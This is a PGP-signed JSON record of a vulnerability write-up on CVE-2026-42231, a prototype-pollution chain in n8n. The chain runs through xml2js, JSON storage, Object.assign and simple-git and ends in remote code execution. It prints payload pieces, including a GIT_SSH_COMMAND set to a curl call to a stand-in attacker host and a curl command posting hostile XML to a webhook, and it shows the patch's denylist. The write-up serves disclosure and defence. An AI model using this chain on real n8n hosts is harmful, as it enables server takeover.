-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## xml2js Uses defineProperty Specifically To Avoid Prototype Pollution\n\nxml2js 0.6.2 writes parsed tag names through a helper. The helper is four lines.\n\n```javascript\n// node-xml2js/lib/parser.js (0.6.2)\ndefineProperty = function(obj, key, value) {\n var descriptor;\n descriptor = Object.create(null);\n descriptor.value = value;\n descriptor.writable = true;\n descriptor.enumerable = true;\n descriptor.configurable = true;\n return Object.defineProperty(obj, key, descriptor);\n};\n\nParser.prototype.assignOrPush = function(obj, key, newValue) {\n if (!(key in obj)) {\n if (!this.options.explicitArray) {\n return defineProperty(obj, key, newValue);\n } else {\n return defineProperty(obj, key, [newValue]);\n }\n } else {\n if (!(obj[key] instanceof Array)) {\n defineProperty(obj, key, [obj[key]]);\n }\n return obj[key].push(newValue);\n }\n};\n```\n\n`Object.defineProperty` is the `[[DefineOwnProperty]]` route. It bypasses setters. The distinction matters for one specific key. Direct assignment, `obj['__proto__'] = value`, invokes the `__proto__` setter that JavaScript inherits from `Object.prototype`. The setter mutates `obj`'s prototype chain. `Object.defineProperty(obj, '__proto__', { value, writable: true, enumerable: true, configurable: true })` does not invoke the setter. It writes `__proto__` as an own enumerable data property on `obj`. The object's prototype chain is untouched.\n\nThat is what the library author wanted. Earlier xml2js versions assigned tag-name keys directly and produced a parse-time prototype-pollution CVE. The switch to `defineProperty` closed the parse-time route. Parsing arbitrary XML can no longer mutate `Object.prototype` at the moment of parse. The library's invariant holds.\n\nThe library's invariant holds at a cost. Every object xml2js produces from XML containing `<__proto__>` now carries an own enumerable data property named `__proto__`. The property is not a prototype pointer. It is a `__proto__` named data slot whose value is whatever the XML said. The runtime treats `obj.__proto__` specially via the inherited getter/setter pair, which means reading `obj.__proto__` returns the prototype, not the own slot. The own slot is only visible to code that calls `Object.getOwnPropertyDescriptor(obj, '__proto__')` or that enumerates own keys via `Object.keys` / `Object.getOwnPropertyNames` / `for...in` with `hasOwnProperty`.\n\nIt is visible to `JSON.stringify`.\n\n## Three Functions, Each Doing What Their Spec Says\n\nThe PoC ships a Node verifier that reproduces the rest of the chain without a live n8n. The chain has three frames after parse.\n\nFrame one. The attacker's XML.\n\n```xml\n\n\n <__proto__>\n true\n \n \n\n```\n\nAfter `xmlParser.parseStringPromise(body)`:\n\n```javascript\nObject.getOwnPropertyDescriptor(req.body.root, '__proto__')\n// {\n// value: [Object.prototype,\n// { spawnoptions: { shell: 'true' },\n// env: { '$': { GIT_SSH_COMMAND: 'curl http://attacker/...' } } }],\n// writable: true, enumerable: true, configurable: true\n// }\n```\n\nxml2js wraps the value in a two-element array. The wrap fires because `'__proto__' in obj` returns true for a freshly-constructed empty object (the empty object inherits `__proto__` from `Object.prototype`). The `(key in obj)` branch in `assignOrPush` reads \"the key already exists, push to its array form,\" so the library packs `Object.prototype` itself into `[0]` and the attacker's payload into `[1]`. The attacker now has an own enumerable `__proto__` whose value is `[, ]`.\n\nFrame two. n8n persists execution data to its backing store. The serializer is `JSON.stringify`. The deserializer on reload is `JSON.parse`. `JSON.stringify` walks own enumerable string keys. The own `__proto__` is enumerable. It serializes.\n\n```json\n{\"__proto__\":[null,{\"spawnoptions\":{\"shell\":\"true\"},\"env\":{\"$\":{\"GIT_SSH_COMMAND\":\"...\"}}}],\"data\":\"...\"}\n```\n\nThe string lands in SQLite or Postgres. On the next reload, `JSON.parse` produces an object with `__proto__` as an own data property. The ES2017+ `JSON.parse` specification uses `CreateDataProperty` to install keys. `CreateDataProperty` does not invoke setters. The reloaded object's prototype chain is `Object.prototype`, the same as any other fresh object; the own `__proto__` slot is back.\n\n```javascript\nconst reloaded = JSON.parse(stored);\nObject.getOwnPropertyDescriptor(reloaded, '__proto__');\n// { value: [null, { spawnoptions: ..., env: ... }],\n// writable: true, enumerable: true, configurable: true }\n```\n\nFrame three. Anything downstream that does `Object.assign(target, reloaded)` ends the chain. `Object.assign` reads source own keys via `[[Get]]` and writes them to target via `[[Set]]`. `reloaded['__proto__']` read via `[[Get]]` returns the own data property's value, the two-element array. `Object.assign` then writes `target['__proto__']` via `[[Set]]`. `[[Set]]` for the key `__proto__` is the inherited setter, and the setter mutates `target`'s prototype chain.\n\n```javascript\nconst target = { binary: 'git', cwd: '/tmp' };\nObject.assign(target, reloaded);\nObject.getPrototypeOf(target) === Object.prototype; // false\nObject.getPrototypeOf(target);\n// [null, { spawnoptions: { shell: 'true' }, env: { '$': { GIT_SSH_COMMAND: '...' } } }]\n```\n\n`target`'s prototype chain is now the attacker's array. Three frames. xml2js's `defineProperty` writes an own data property. `JSON.stringify` serializes it. `JSON.parse` deserializes it. `Object.assign` reads it via `[[Get]]` and writes via `[[Set]]`. Each step is correct in isolation. The chain is the bug.\n\n## simpleGit Reads The Prototype\n\nThe pollution flips one specific lookup. The Git node in n8n calls `simpleGit(gitOptions)`. simple-git's `createInstanceConfig` is exactly the shape that consumes the polluted object.\n\n```typescript\n// simple-git/src/lib/utils/simple-git-options.ts\nexport function createInstanceConfig(\n ...options: Array | undefined>\n): SimpleGitOptions {\n const baseDir = process.cwd();\n const config: SimpleGitOptions = Object.assign(\n { baseDir, ...defaultOptions },\n ...options.filter((o) => typeof o === 'object' && o)\n );\n\n config.baseDir = config.baseDir || baseDir;\n config.trimmed = config.trimmed === true;\n\n return config;\n}\n```\n\n`Object.assign({ baseDir, ...defaultOptions }, ...options)`. The first non-default option is the workflow's `gitOptions`, which the Git node built from reloaded execution data, which is the reloaded webhook body, which is the object with own `__proto__`. `Object.assign` reads it via `[[Get]]` and writes via `[[Set]]`. `config`'s prototype chain now resolves through the attacker's array.\n\nsimple-git then asks the config for `spawnOptions`:\n\n```typescript\n// simple-git plugin registration\nif (config.spawnOptions) {\n plugins.add(spawnOptionsPlugin(config.spawnOptions));\n}\n```\n\n`config` has no own `spawnOptions`. The lookup falls through the polluted prototype chain. `Object.prototype` is at index 0 of the array; index 1 is the attacker's object, which contains `spawnoptions`. The lookup returns truthy. `spawnOptionsPlugin` registers.\n\nThe plugin itself is narrow:\n\n```typescript\nexport function spawnOptionsPlugin(\n spawnOptions: Partial\n): SimpleGitPlugin<'spawn.options'> {\n const options = pick(spawnOptions, ['uid', 'gid']);\n return {\n type: 'spawn.options',\n action(data) {\n return { ...options, ...data };\n },\n };\n}\n```\n\n`uid` / `gid` injection alone is not RCE. The PoC ships the other half of the chain in the same payload. The polluted prototype chain also holds `env.GIT_SSH_COMMAND`. When the Git node's next operation is an SSH-authenticated `git clone` or `git push`, git reads `GIT_SSH_COMMAND` from its environment and invokes that string instead of `ssh`. The environment passed to git's child process is composed via property lookups on the same options object whose prototype is now the attacker's array. `GIT_SSH_COMMAND` resolves via the chain. Git executes it.\n\nThe chain ends at the n8n host's shell.\n\n## The Patch Sanitizes Three Names At The Consumer's Parser Config\n\nv1.123.32 (and the 2.x backports) rewrite the parser registration to add a denylist.\n\n```diff\n import { Parser as XmlParser } from 'xml2js';\n\n+function sanitizeXmlName(name: string): string {\n+ const unsafe = new Set(['__proto__', 'constructor', 'prototype']);\n+ return unsafe.has(name) ? `sanitized_${name}` : name;\n+}\n+\n const xmlParser = new XmlParser({\n async: true,\n normalize: true,\n normalizeTags: true,\n explicitArray: false,\n+ tagNameProcessors: [sanitizeXmlName],\n+ attrNameProcessors: [sanitizeXmlName],\n });\n```\n\n`tagNameProcessors` and `attrNameProcessors` are xml2js features for rewriting names before they reach `assignOrPush`. With the processor installed, a `<__proto__>` tag becomes `sanitized___proto__` before `defineProperty` writes it. The own property's name is now harmless. `JSON.stringify` serializes it as `\"sanitized___proto__\"`. `JSON.parse` recreates it as an own data property named `sanitized___proto__`. `Object.assign` reads it via `[[Get]]` and writes to `target['sanitized___proto__']` via `[[Set]]`. That `[[Set]]` installs an ordinary own property. Nothing in any prototype chain changes.\n\nThe patch closes this CVE. xml2js's `assignOrPush` is byte-for-byte the same. `defineProperty` is byte-for-byte the same. xml2js's GitHub repository carries [issue #721](https://github.com/Leonidas-from-XIV/node-xml2js/issues/721), opened March 2026, titled \"Prototype Pollution Vulnerability in xml2js Module,\" still open. The fix sits at every consumer. The library has not moved.\n\nThis is the [Design Debt Driver](/patterns/design-debt-driver) shape applied to xml2js. The component's bug-class keeps recurring across consumers. Each consumer that uses the parser to receive XML over the network ships its own denylist at the parser config. The library's primitive continues to produce the smuggled property. The next consumer who serializes-and-assigns inherits the same chain.\n\nThe chain also belongs to [Emergent Primitive](/patterns/emergent-primitive). xml2js's `defineProperty` is safe (it explicitly bypasses the prototype setter). `JSON.stringify` is safe (it walks own enumerable keys, which is what the spec says). `JSON.parse` is safe (it uses `CreateDataProperty`, which is what the spec says). `Object.assign` is safe (it reads via `[[Get]]` and writes via `[[Set]]`, which is what the spec says). simple-git's `createInstanceConfig` is safe (it `Object.assign`s caller options over defaults). No single function in the chain has a bug. The intersection has the RCE. The owners are five different repositories, none of them owning the intersection.\n\n## The Authenticated User Is The Operator\n\nThe CVE record for 42231 names \"an authenticated user with permission to create or modify workflows.\" The CVSS 3.1 vector on the same record reads `PR:L`. The CVSS 4.0 vector published with the GHSA reads `PR:N`. The two vectors disagree about whether the attacker is authenticated.\n\nThe PoC resolves the disagreement. Its `--demo` and `--cmd` modes both expect an unauthenticated POST to `http://target/webhook/`. The webhook trigger node in n8n is the platform's HTTP-receiver primitive; it is designed to accept arbitrary external requests. The trigger's Authentication parameter defaults to None because n8n is built to listen to external systems whose authentication is the operator's concern, not n8n's.\n\n```bash\n# 1. The attacker sends XML to a webhook the operator already activated.\ncurl -X POST http://target:5678/webhook//webhook/ \\\n -H 'Content-Type: application/xml' \\\n --data-binary @- <<'EOF'\n\n\n <__proto__>\n true\n \n \n\nEOF\n\n# 2. n8n parses the XML. req.body.root has own __proto__.\n# 3. The workflow's execution data is serialized to the DB.\n# 4. Next time the Git node runs an SSH operation, GIT_SSH_COMMAND resolves\n# via the polluted prototype. git executes the attacker's string.\n```\n\nThe \"authenticated user with permission to create or modify workflows\" the CVE description names is the operator who built the workflow. That user is the n8n customer, not the attacker. The CVSS 4.0 `PR:N` published in the GHSA is the accurate read. The attacker needs only that the operator has built one active webhook trigger that accepts XML, and that the workflow contains a Git node performing SSH-authenticated operations. The first is what webhook triggers do. The second is what the Git node is for.\n\nThe CVE description's framing routes the bug toward an insider-threat reading. The CVSS 4.0 vector published with the GHSA disagrees in writing. One of the two is more accurate. We are not required to guess which.\n\nPoC: [rudSarkar/CVE-2026-42231](https://github.com/rudSarkar/CVE-2026-42231)","closing_line":"xml2js used `defineProperty` so `__proto__` would not be set via the prototype setter at parse time. The property `defineProperty` wrote is what pollutes it three function calls later.","hook_md":"n8n's body parser registers a single `xml2js` Parser at module load. The configuration is four flags.\n\n```typescript\n// packages/cli/src/middlewares/body-parser.ts (v1.123.22)\nconst xmlParser = new XmlParser({\n async: true,\n normalize: true,\n normalizeTags: true,\n explicitArray: false,\n});\n```\n\nThis parser processes every `application/xml` body the n8n webhook handler receives. When the body contains `<__proto__>`, xml2js does not crash, throw, or skip the tag. It writes a property named `__proto__` onto the parsed object using `Object.defineProperty`. The choice of `defineProperty` is deliberate. It was added to xml2js to prevent prototype pollution at parse time.\n\nThe CVE-2026-42231 description names \"an authenticated user with permission to create or modify workflows.\" The PoC posts XML to an unauthenticated webhook URL. Two of those readings agree about what the bug is. They disagree about who can reach it.","post_id":263,"slug":"n8n-xml2js-defineproperty-was-the-fix","title":"CVE-2026-42231: xml2js Used defineProperty So __proto__ Wouldn't Mutate. The Property It Wrote Is The Pollution.","type":"initial","unreadable_sentence":"xml2js used defineProperty so __proto__ would not be set via the prototype setter. The property defineProperty wrote is what pollutes it three function calls later."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCarK2dgAKCRDeZjl4jgkQ JmtrAP0Tfj1njL/0/Wr3/A/LSoy+mWwfsPnGeCawoYAHhHCvtQEAo3g/TO6a2t2d nWszbMpMY5AOZmvEuE61/Udc5UEtqQo= =SlTu -----END PGP SIGNATURE-----